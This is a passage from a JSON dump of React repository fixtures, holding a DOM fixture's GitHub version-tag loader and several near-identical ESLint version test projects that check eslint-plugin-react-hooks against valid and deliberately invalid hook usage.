column;\n}\n\n.onscreen {\n  background-color: green;\n}\n\n.highlight-focused-children * {\n  margin-left: 10px;\n}\n\n.highlight-focused-children *:focus {\n  outline: 2px solid green;\n}\n"
  },
  {
    "path": "fixtures/dom/src/tags.js",
    "content": "/**\n * Version tags are loaded from the GitHub API. Since the GitHub API is rate-limited\n * we attempt to save and load the tags in sessionStorage when possible. Since its unlikely\n * that versions will change during a single session this should be safe.\n */\n\nconst TAGS_CACHE_KEY = '@react-dom-fixtures/tags';\n\n/**\n * Its possible that users will be testing changes frequently\n * in a browser that does not support sessionStorage. If the API does\n * get rate limited this hardcoded fallback will be loaded instead.\n * This way users can still switch between ~some versions while testing.\n * If there's a specific version they need to test that is not here, they\n * can manually load it by editing the URL (`?version={whatever}`)\n */\nconst fallbackTags = [\n  '15.4.2',\n  '15.3.2',\n  '15.2.1',\n  '15.1.0',\n  '15.0.2',\n  '0.14.8',\n  '0.13.0',\n].map(version => ({\n  name: `v${version}`,\n}));\n\nlet canUseSessionStorage = true;\n\ntry {\n  sessionStorage.setItem('foo', '');\n} catch (err) {\n  canUseSessionStorage = false;\n}\n\n/**\n * Attempts to load tags from sessionStorage. In cases where\n * sessionStorage is not available (Safari private browsing) or the\n * tags are cached a fetch request is made to the GitHub API.\n *\n * Returns a promise so that the consuming module can always assume\n * the request is async, even if its loaded from sessionStorage.\n */\nexport default function getVersionTags() {\n  return new Promise(resolve => {\n    let cachedTags;\n    if (canUseSessionStorage) {\n      cachedTags = sessionStorage.getItem(TAGS_CACHE_KEY);\n    }\n    if (cachedTags) {\n      cachedTags = JSON.parse(cachedTags);\n      resolve(cachedTags);\n    } else {\n      fetch('https://api.github.com/repos/facebook/react/tags?per_page=1000', {\n        mode: 'cors',\n      })\n        .then(res => res.json())\n        .then(tags => {\n          // A message property indicates an error was sent from the API\n          if (tags.message) {\n            return resolve(fallbackTags);\n          }\n          if (canUseSessionStorage) {\n            sessionStorage.setItem(TAGS_CACHE_KEY, JSON.stringify(tags));\n          }\n          resolve(tags);\n        })\n        .catch(() => resolve(fallbackTags));\n    }\n  });\n}\n"
  },
  {
    "path": "fixtures/eslint-v10/README.md",
    "content": "# ESLint v10 Fixture\n\nThis fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 10.\n\nRun the following to test.\n\n```sh\ncd fixtures/eslint-v10\nyarn\nyarn build\nyarn lint\n```\n"
  },
  {
    "path": "fixtures/eslint-v10/build.mjs",
    "content": "#!/usr/bin/env node\n\nimport {execSync} from 'node:child_process';\nimport {dirname, resolve} from 'node:path';\nimport {fileURLToPath} from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\nexecSync('yarn build -r stable eslint-plugin-react-hooks', {\n  cwd: resolve(__dirname, '..', '..'),\n  stdio: 'inherit',\n});\n"
  },
  {
    "path": "fixtures/eslint-v10/eslint.config.ts",
    "content": "import {defineConfig} from 'eslint/config';\nimport reactHooks from 'eslint-plugin-react-hooks';\n\nexport default defineConfig([\n  reactHooks.configs.flat['recommended-latest'],\n  {\n    languageOptions: {\n      ecmaVersion: 'latest',\n      sourceType: 'module',\n      parserOptions: {\n        ecmaFeatures: {\n          jsx: true,\n        },\n      },\n    },\n    rules: {\n      'react-hooks/exhaustive-deps': 'error',\n    },\n  },\n]);\n"
  },
  {
    "path": "fixtures/eslint-v10/index.js",
    "content": "/**\n * Exhaustive Deps\n */\n// Valid because dependencies are declared correctly\nfunction Comment({comment, commentSource}) {\n  const currentUserID = comment.viewer.id;\n  const environment = RelayEnvironment.forUser(currentUserID);\n  const commentID = nullthrows(comment.id);\n  useEffect(() => {\n    const subscription = SubscriptionCounter.subscribeOnce(\n      `StoreSubscription_${commentID}`,\n      () =>\n        StoreSubscription.subscribe(\n          environment,\n          {\n            comment_id: commentID,\n          },\n          currentUserID,\n          commentSource\n        )\n    );\n    return () => subscription.dispose();\n  }, [commentID, commentSource, currentUserID, environment]);\n}\n\n// Valid because no dependencies\nfunction UseEffectWithNoDependencies() {\n  const local = {};\n  useEffect(() => {\n    console.log(local);\n  });\n}\nfunction UseEffectWithEmptyDependencies() {\n  useEffect(() => {\n    const local = {};\n    console.log(local);\n  }, []);\n}\n\n// OK because `props` wasn't defined.\nfunction ComponentWithNoPropsDefined() {\n  useEffect(() => {\n    console.log(props.foo);\n  }, []);\n}\n\n// Valid because props are declared as a dependency\nfunction ComponentWithPropsDeclaredAsDep({foo}) {\n  useEffect(() => {\n    console.log(foo.length);\n    console.log(foo.slice(0));\n  }, [foo]);\n}\n\n// Valid because individual props are declared as dependencies\nfunction ComponentWithIndividualPropsDeclaredAsDeps(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    console.log(props.bar);\n  }, [props.bar, props.foo]);\n}\n\n// Invalid because neither props or props.foo are declared as dependencies\nfunction ComponentWithoutDeclaringPropAsDep(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  // eslint-disable-next-line react-hooks/void-use-memo\n  useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  // eslint-disable-next-line react-hooks/void-use-memo\n  React.useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.notReactiveHook(() => {\n    console.log(props.foo);\n  }, []); // This one isn't a violation\n}\n\n/**\n * Rules of Hooks\n */\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n\n// Invalid because hooks can't be called in conditionals.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useConditionalHook();\n  }\n}\n\n// Invalid because hooks can't be called in loops.\nfunction useHookInLoops() {\n  while (a) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook1();\n    if (b) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook2();\n  }\n  while (c) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook3();\n    if (d) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook4();\n  }\n}\n\n/**\n * Compiler Rules\n */\n// Invalid: component factory\nfunction InvalidComponentFactory() {\n  const DynamicComponent = () => <div>Hello</div>;\n  // eslint-disable-next-line react-hooks/static-components\n  return <DynamicComponent />;\n}\n\n// Invalid: mutating globals\nfunction InvalidGlobals() {\n  // eslint-disable-next-line react-hooks/immutability\n  window.myGlobal = 42;\n  return <div>Done</div>;\n}\n\n// Invalid: useMemo with wrong deps\nfunction InvalidUseMemo({items}) {\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  const sorted = useMemo(() => [...items].sort(), []);\n  return <div>{sorted.length}</div>;\n}\n\n// Invalid: missing/extra deps in useEffect\nfunction InvalidEffectDeps({a, b}) {\n  useEffect(() => {\n    console.log(a);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n\n  useEffect(() => {\n    console.log(a);\n    // TODO: eslint-disable-next-line react-hooks/exhaustive-effect-dependencies\n  }, [a, b]);\n}\n"
  },
  {
    "path": "fixtures/eslint-v10/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"eslint-v10\",\n  \"dependencies\": {\n    \"eslint\": \"^10.0.0\",\n    \"eslint-plugin-react-hooks\": \"link:../../build/oss-stable/eslint-plugin-react-hooks\",\n    \"jiti\": \"^2.4.2\"\n  },\n  \"scripts\": {\n    \"build\": \"node build.mjs && yarn\",\n    \"lint\": \"tsc --noEmit && eslint index.js --report-unused-disable-directives\"\n  },\n  \"devDependencies\": {\n    \"typescript\": \"^5.4.3\"\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v10/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"lib\": [\n      \"es2022\"\n    ],\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"target\": \"es2022\",\n    \"typeRoots\": [\n      \"./node_modules/@types\"\n    ],\n    \"skipLibCheck\": true\n  },\n  \"exclude\": [\n    \"node_modules\",\n    \"**/node_modules\",\n    \"../node_modules\",\n    \"../../node_modules\"\n  ]\n}\n"
  },
  {
    "path": "fixtures/eslint-v6/.eslintrc.json",
    "content": "{\n  \"root\": true,\n  \"extends\": [\"plugin:react-hooks/recommended\"],\n  \"parserOptions\": {\n    \"ecmaVersion\": 2020,\n    \"sourceType\": \"module\",\n    \"ecmaFeatures\": {\n      \"jsx\": true\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v6/README.md",
    "content": "# ESLint v6 Fixture\n\nThis fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 6.\n\nRun the following to test.\n\n```sh\ncd fixtures/eslint-v6\nyarn\nyarn build\nyarn lint\n```\n"
  },
  {
    "path": "fixtures/eslint-v6/build.mjs",
    "content": "#!/usr/bin/env node\n\nimport {execSync} from 'node:child_process';\nimport {dirname, resolve} from 'node:path';\nimport {fileURLToPath} from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\nexecSync('yarn build -r stable eslint-plugin-react-hooks', {\n  cwd: resolve(__dirname, '..', '..'),\n  stdio: 'inherit',\n});\n"
  },
  {
    "path": "fixtures/eslint-v6/index.js",
    "content": "/**\n * Exhaustive Deps\n */\n// Valid because dependencies are declared correctly\nfunction Comment({comment, commentSource}) {\n  const currentUserID = comment.viewer.id;\n  const environment = RelayEnvironment.forUser(currentUserID);\n  const commentID = nullthrows(comment.id);\n  useEffect(() => {\n    const subscription = SubscriptionCounter.subscribeOnce(\n      `StoreSubscription_${commentID}`,\n      () =>\n        StoreSubscription.subscribe(\n          environment,\n          {\n            comment_id: commentID,\n          },\n          currentUserID,\n          commentSource\n        )\n    );\n    return () => subscription.dispose();\n  }, [commentID, commentSource, currentUserID, environment]);\n}\n\n// Valid because no dependencies\nfunction UseEffectWithNoDependencies() {\n  const local = {};\n  useEffect(() => {\n    console.log(local);\n  });\n}\nfunction UseEffectWithEmptyDependencies() {\n  useEffect(() => {\n    const local = {};\n    console.log(local);\n  }, []);\n}\n\n// OK because `props` wasn't defined.\nfunction ComponentWithNoPropsDefined() {\n  useEffect(() => {\n    console.log(props.foo);\n  }, []);\n}\n\n// Valid because props are declared as a dependency\nfunction ComponentWithPropsDeclaredAsDep({foo}) {\n  useEffect(() => {\n    console.log(foo.length);\n    console.log(foo.slice(0));\n  }, [foo]);\n}\n\n// Valid because individual props are declared as dependencies\nfunction ComponentWithIndividualPropsDeclaredAsDeps(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    console.log(props.bar);\n  }, [props.bar, props.foo]);\n}\n\n// Invalid because neither props or props.foo are declared as dependencies\nfunction ComponentWithoutDeclaringPropAsDep(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.notReactiveHook(() => {\n    console.log(props.foo);\n  }, []); // This one isn't a violation\n}\n\n/**\n * Rules of Hooks\n */\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n\n// Invalid because hooks can't be called in conditionals.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useConditionalHook();\n  }\n}\n\n// Invalid because hooks can't be called in loops.\nfunction useHookInLoops() {\n  while (a) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook1();\n    if (b) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook2();\n  }\n  while (c) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook3();\n    if (d) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook4();\n  }\n}\n\n/**\n * Compiler Rules\n */\n// Invalid: component factory\nfunction InvalidComponentFactory() {\n  const DynamicComponent = () => <div>Hello</div>;\n  // eslint-disable-next-line react-hooks/static-components\n  return <DynamicComponent />;\n}\n\n// Invalid: mutating globals\nfunction InvalidGlobals() {\n  // eslint-disable-next-line react-hooks/immutability\n  window.myGlobal = 42;\n  return <div>Done</div>;\n}\n\n// Invalid: useMemo with wrong deps\nfunction InvalidUseMemo({items}) {\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  const sorted = useMemo(() => [...items].sort(), []);\n  return <div>{sorted.length}</div>;\n}\n"
  },
  {
    "path": "fixtures/eslint-v6/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"eslint-v6\",\n  \"dependencies\": {\n    \"eslint\": \"^6\",\n    \"eslint-plugin-react-hooks\": \"link:../../build/oss-stable/eslint-plugin-react-hooks\"\n  },\n  \"scripts\": {\n    \"build\": \"node build.mjs && yarn\",\n    \"lint\": \"eslint index.js --report-unused-disable-directives\"\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v7/.eslintrc.json",
    "content": "{\n  \"root\": true,\n  \"extends\": [\"plugin:react-hooks/recommended\"],\n  \"parserOptions\": {\n    \"ecmaVersion\": 2020,\n    \"sourceType\": \"module\",\n    \"ecmaFeatures\": {\n      \"jsx\": true\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v7/README.md",
    "content": "# ESLint v7 Fixture\n\nThis fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 7.\n\nRun the following to test.\n\n```sh\ncd fixtures/eslint-v7\nyarn\nyarn build\nyarn lint\n```\n"
  },
  {
    "path": "fixtures/eslint-v7/build.mjs",
    "content": "#!/usr/bin/env node\n\nimport {execSync} from 'node:child_process';\nimport {dirname, resolve} from 'node:path';\nimport {fileURLToPath} from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\nexecSync('yarn build -r stable eslint-plugin-react-hooks', {\n  cwd: resolve(__dirname, '..', '..'),\n  stdio: 'inherit',\n});\n"
  },
  {
    "path": "fixtures/eslint-v7/index.js",
    "content": "/**\n * Exhaustive Deps\n */\n// Valid because dependencies are declared correctly\nfunction Comment({comment, commentSource}) {\n  const currentUserID = comment.viewer.id;\n  const environment = RelayEnvironment.forUser(currentUserID);\n  const commentID = nullthrows(comment.id);\n  useEffect(() => {\n    const subscription = SubscriptionCounter.subscribeOnce(\n      `StoreSubscription_${commentID}`,\n      () =>\n        StoreSubscription.subscribe(\n          environment,\n          {\n            comment_id: commentID,\n          },\n          currentUserID,\n          commentSource\n        )\n    );\n    return () => subscription.dispose();\n  }, [commentID, commentSource, currentUserID, environment]);\n}\n\n// Valid because no dependencies\nfunction UseEffectWithNoDependencies() {\n  const local = {};\n  useEffect(() => {\n    console.log(local);\n  });\n}\nfunction UseEffectWithEmptyDependencies() {\n  useEffect(() => {\n    const local = {};\n    console.log(local);\n  }, []);\n}\n\n// OK because `props` wasn't defined.\nfunction ComponentWithNoPropsDefined() {\n  useEffect(() => {\n    console.log(props.foo);\n  }, []);\n}\n\n// Valid because props are declared as a dependency\nfunction ComponentWithPropsDeclaredAsDep({foo}) {\n  useEffect(() => {\n    console.log(foo.length);\n    console.log(foo.slice(0));\n  }, [foo]);\n}\n\n// Valid because individual props are declared as dependencies\nfunction ComponentWithIndividualPropsDeclaredAsDeps(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    console.log(props.bar);\n  }, [props.bar, props.foo]);\n}\n\n// Invalid because neither props or props.foo are declared as dependencies\nfunction ComponentWithoutDeclaringPropAsDep(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.notReactiveHook(() => {\n    console.log(props.foo);\n  }, []); // This one isn't a violation\n}\n\n/**\n * Rules of Hooks\n */\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n\n// Invalid because hooks can't be called in conditionals.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useConditionalHook();\n  }\n}\n\n// Invalid because hooks can't be called in loops.\nfunction useHookInLoops() {\n  while (a) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook1();\n    if (b) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook2();\n  }\n  while (c) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook3();\n    if (d) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook4();\n  }\n}\n\n/**\n * Compiler Rules\n */\n// Invalid: component factory\nfunction InvalidComponentFactory() {\n  const DynamicComponent = () => <div>Hello</div>;\n  // eslint-disable-next-line react-hooks/static-components\n  return <DynamicComponent />;\n}\n\n// Invalid: mutating globals\nfunction InvalidGlobals() {\n  // eslint-disable-next-line react-hooks/immutability\n  window.myGlobal = 42;\n  return <div>Done</div>;\n}\n\n// Invalid: useMemo with wrong deps\nfunction InvalidUseMemo({items}) {\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  const sorted = useMemo(() => [...items].sort(), []);\n  return <div>{sorted.length}</div>;\n}\n"
  },
  {
    "path": "fixtures/eslint-v7/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"eslint-v7\",\n  \"dependencies\": {\n    \"eslint\": \"^7\",\n    \"eslint-plugin-react-hooks\": \"link:../../build/oss-stable/eslint-plugin-react-hooks\"\n  },\n  \"scripts\": {\n    \"build\": \"node build.mjs && yarn\",\n    \"lint\": \"eslint index.js --report-unused-disable-directives\"\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v8/.eslintrc.json",
    "content": "{\n  \"root\": true,\n  \"extends\": [\"plugin:react-hooks/recommended\"],\n  \"parserOptions\": {\n    \"ecmaVersion\": 2020,\n    \"sourceType\": \"module\",\n    \"ecmaFeatures\": {\n      \"jsx\": true\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v8/README.md",
    "content": "# ESLint v8 Fixture\n\nThis fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 8.\n\nRun the following to test.\n\n```sh\ncd fixtures/eslint-v8\nyarn\nyarn build\nyarn lint\n```\n"
  },
  {
    "path": "fixtures/eslint-v8/build.mjs",
    "content": "#!/usr/bin/env node\n\nimport {execSync} from 'node:child_process';\nimport {dirname, resolve} from 'node:path';\nimport {fileURLToPath} from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\nexecSync('yarn build -r stable eslint-plugin-react-hooks', {\n  cwd: resolve(__dirname, '..', '..'),\n  stdio: 'inherit',\n});\n"
  },
  {
    "path": "fixtures/eslint-v8/index.js",
    "content": "/**\n * Exhaustive Deps\n */\n// Valid because dependencies are declared correctly\nfunction Comment({comment, commentSource}) {\n  const currentUserID = comment.viewer.id;\n  const environment = RelayEnvironment.forUser(currentUserID);\n  const commentID = nullthrows(comment.id);\n  useEffect(() => {\n    const subscription = SubscriptionCounter.subscribeOnce(\n      `StoreSubscription_${commentID}`,\n      () =>\n        StoreSubscription.subscribe(\n          environment,\n          {\n            comment_id: commentID,\n          },\n          currentUserID,\n          commentSource\n        )\n    );\n    return () => subscription.dispose();\n  }, [commentID, commentSource, currentUserID, environment]);\n}\n\n// Valid because no dependencies\nfunction UseEffectWithNoDependencies() {\n  const local = {};\n  useEffect(() => {\n    console.log(local);\n  });\n}\nfunction UseEffectWithEmptyDependencies() {\n  useEffect(() => {\n    const local = {};\n    console.log(local);\n  }, []);\n}\n\n// OK because `props` wasn't defined.\nfunction ComponentWithNoPropsDefined() {\n  useEffect(() => {\n    console.log(props.foo);\n  }, []);\n}\n\n// Valid because props are declared as a dependency\nfunction ComponentWithPropsDeclaredAsDep({foo}) {\n  useEffect(() => {\n    console.log(foo.length);\n    console.log(foo.slice(0));\n  }, [foo]);\n}\n\n// Valid because individual props are declared as dependencies\nfunction ComponentWithIndividualPropsDeclaredAsDeps(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    console.log(props.bar);\n  }, [props.bar, props.foo]);\n}\n\n// Invalid because neither props or props.foo are declared as dependencies\nfunction ComponentWithoutDeclaringPropAsDep(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.notReactiveHook(() => {\n    console.log(props.foo);\n  }, []); // This one isn't a violation\n}\n\n/**\n * Rules of Hooks\n */\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n\n// Invalid because hooks can't be called in conditionals.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useConditionalHook();\n  }\n}\n\n// Invalid because hooks can't be called in loops.\nfunction useHookInLoops() {\n  while (a) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook1();\n    if (b) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook2();\n  }\n  while (c) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook3();\n    if (d) return;\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook4();\n  }\n}\n\n/**\n * Compiler Rules\n */\n// Invalid: component factory\nfunction InvalidComponentFactory() {\n  const DynamicComponent = () => <div>Hello</div>;\n  // eslint-disable-next-line react-hooks/static-components\n  return <DynamicComponent />;\n}\n\n// Invalid: mutating globals\nfunction InvalidGlobals() {\n  // eslint-disable-next-line react-hooks/immutability\n  window.myGlobal = 42;\n  return <div>Done</div>;\n}\n\n// Invalid: useMemo with wrong deps\nfunction InvalidUseMemo({items}) {\n  // eslint-disable-next-line react-hooks/exhaustive-deps\n  const sorted = useMemo(() => [...items].sort(), []);\n  return <div>{sorted.length}</div>;\n}\n"
  },
  {
    "path": "fixtures/eslint-v8/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"eslint-v8\",\n  \"dependencies\": {\n    \"eslint\": \"^8\",\n    \"eslint-plugin-react-hooks\": \"link:../../build/oss-stable/eslint-plugin-react-hooks\"\n  },\n  \"scripts\": {\n    \"build\": \"node build.mjs && yarn\",\n    \"lint\": \"eslint index.js --report-unused-disable-directives\"\n  }\n}\n"
  },
  {
    "path": "fixtures/eslint-v9/README.md",
    "content": "# ESLint v9 Fixture\n\nThis fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 9.\n\nRun the following to test.\n\n```sh\ncd fixtures/eslint-v9\nyarn\nyarn build\nyarn lint\n```\n"
  },
  {
    "path": "fixtures/eslint-v9/build.mjs",
    "content": "#!/usr/bin/env node\n\nimport {execSync} from 'node:child_process';\nimport {dirname, resolve} from 'node:path';\nimport {fileURLToPath} from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\nexecSync('yarn build -r stable eslint-plugin-react-hooks', {\n  cwd: resolve(__dirname, '..', '..'),\n  stdio: 'inherit',\n});\n"
  },
  {
    "path": "fixtures/eslint-v9/eslint.config.ts",
    "content": "import {defineConfig} from 'eslint/config';\nimport reactHooks from 'eslint-plugin-react-hooks';\n\nexport default defineConfig([\n  reactHooks.configs.flat['recommended-latest'],\n  {\n    languageOptions: {\n      ecmaVersion: 'latest',\n      sourceType: 'module',\n      parserOptions: {\n        ecmaFeatures: {\n          jsx: true,\n        },\n      },\n    },\n    rules: {\n      'react-hooks/exhaustive-deps': 'error',\n    },\n  },\n]);\n"
  },
  {
    "path": "fixtures/eslint-v9/index.js",
    "content": "/**\n * Exhaustive Deps\n */\n// Valid because dependencies are declared correctly\nfunction Comment({comment, commentSource}) {\n  const currentUserID = comment.viewer.id;\n  const environment = RelayEnvironment.forUser(currentUserID);\n  const commentID = nullthrows(comment.id);\n  useEffect(() => {\n    const subscription = SubscriptionCounter.subscribeOnce(\n      `StoreSubscription_${commentID}`,\n      () =>\n        StoreSubscription.subscribe(\n          environment,\n          {\n            comment_id: commentID,\n          },\n          currentUserID,\n          commentSource\n        )\n    );\n    return () => subscription.dispose();\n  }, [commentID, commentSource, currentUserID, environment]);\n}\n\n// Valid because no dependencies\nfunction UseEffectWithNoDependencies() {\n  const local = {};\n  useEffect(() => {\n    console.log(local);\n  });\n}\nfunction UseEffectWithEmptyDependencies() {\n  useEffect(() => {\n    const local = {};\n    console.log(local);\n  }, []);\n}\n\n// OK because `props` wasn't defined.\nfunction ComponentWithNoPropsDefined() {\n  useEffect(() => {\n    console.log(props.foo);\n  }, []);\n}\n\n// Valid because props are declared as a dependency\nfunction ComponentWithPropsDeclaredAsDep({foo}) {\n  useEffect(() => {\n    console.log(foo.length);\n    console.log(foo.slice(0));\n  }, [foo]);\n}\n\n// Valid because individual props are declared as dependencies\nfunction ComponentWithIndividualPropsDeclaredAsDeps(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    console.log(props.bar);\n  }, [props.bar, props.foo]);\n}\n\n// Invalid because neither props or props.foo are declared as dependencies\nfunction ComponentWithoutDeclaringPropAsDep(props) {\n  useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  // eslint-disable-next-line react-hooks/void-use-memo\n  useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useEffect(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.useCallback(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  // eslint-disable-next-line react-hooks/void-use-memo\n  React.useMemo(() => {\n    console.log(props.foo);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, []);\n  React.notReactiveHook(() => {\n    console.log(props.foo);\n  }, []); // This one isn't a violation\n}\n\n/**\n * Rules of Hooks\n */\n// Valid because functions can call functions.\nfunction normalFunctionWithConditionalFunction() {\n  if (cond) {\n    doSomething();\n  }\n}\n\n// Valid because hooks can call hooks.\nfunction useHook() {\n  useState();\n}\nconst whatever = function useHook() {\n  useState();\n};\nconst useHook1 = () => {\n  useState();\n};\nlet useHook2 = () => useState();\nuseHook2 = () => {\n  useState();\n};\n\n// Invalid because hooks can't be called in conditionals.\nfunction ComponentWithConditionalHook() {\n  if (cond) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useConditionalHook();\n  }\n}\n\n// Invalid because hooks can't be called in loops.\nfunction useHookInLoops() {\n  while (a) {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    useHook1();\n    if (b) return;\n    // eslint-disable-next-line 